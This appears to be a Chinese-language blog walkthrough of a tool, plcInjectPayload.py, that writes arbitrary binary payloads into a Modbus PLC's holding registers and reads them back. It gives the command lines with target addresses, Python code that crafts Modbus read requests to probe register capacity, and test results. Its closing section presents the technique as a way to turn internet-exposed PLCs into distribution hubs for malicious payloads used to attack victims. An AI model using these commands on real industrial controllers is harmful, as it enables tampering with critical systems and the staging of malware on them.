PLC设备注入payload

1、探测PLC 设备保持寄存器中是否有足够的内存 (字节)

-size <n bytes> check if the PLC can allocate <n> bytes in its holding registers

python plcInjectPayload.py -size 1000 -ip 172.21.1.2

该模块,先发送功能码为03(reading hold registers)的1000字节的内存空间的请求

由于每个16位的寄存器能存储两个字节(1字节=8bit)

1000个字节的payload需要有500个寄存器存储

image.png

发包请求内容如上:

reference number : 500
word count : 1

如果请求--响应为 83 ,说明该PLC 设备无法获取到相应的内存空间数量,响应为“非法数据地址”

image.png

check size关键代码如下:

def check_size(size,ip):
    ref_num = format(size / 2, '04x') # Each Holding register store 2 bytes
    word_count = "0001" # Just read one word
    payload = create_header_modbus("0006") + READ_HOLDING + ref_num + word_count

    print Colors.ORANGE + "[?] Checking if the PLC %s has enough size in its holding registers " % ip + Colors.DEFAULT
    resp = connection_plc(ip,payload,t_sleep=1) # 1 sec sleep to avoid some ack/rst (some PLCs behave strangely)

    if resp.encode('hex')[14:16] == '83': # Exception Read Holding Registers.
        print Colors.RED + "[-] Exception Read Holding Registers. Not size available :/" + Colors.DEFAULT
        return False
    else:
        print Colors.ORANGE + Colors.BOLD + "[+] It seems there are enough size :D" + Colors.DEFAULT
        return True

2、upload上传payload

原始寄存器中所有数据全置0 ,

尝试上传一个16字节的二进制文件,未指定起始地址,默认从第一位开始

python plcInjectPayload.py -upload 1-14.bin -ip 192.168.81.1
image.png

在modbus从站中,发现八个寄存器中数据已被写入,正好16字节写入8个寄存器中

通过modbus主站读保持寄存器查看,发现数据正好吻合

image.png

在此基础上继续写入4字节的payload数据,并指定数据写入地址

-addr 9 表示在第九个寄存器之后写入,即从第十个开始写

python plcInjectPayload.py -upload test2.bin -ip 192.168.81.1 -addr 9
image.png
image.png

3、从PLC保持寄存器中download下载payload

尝试将第二次上传的4个字节大小的payload

python plcInjectPayload.py -download 4 -addr 9 -ip 192.168.81.1
image.png

payload 完全符合上传的原文件

总结&&后续

plc能够写入某些恶意的payload,便能使暴露在公网的PLC设备作为payload分发中心,可以利用PLC进行攻击受害者,后续将继续深入研究,如何利用PLC进行恶意payload散播。

推荐阅读更多精彩内容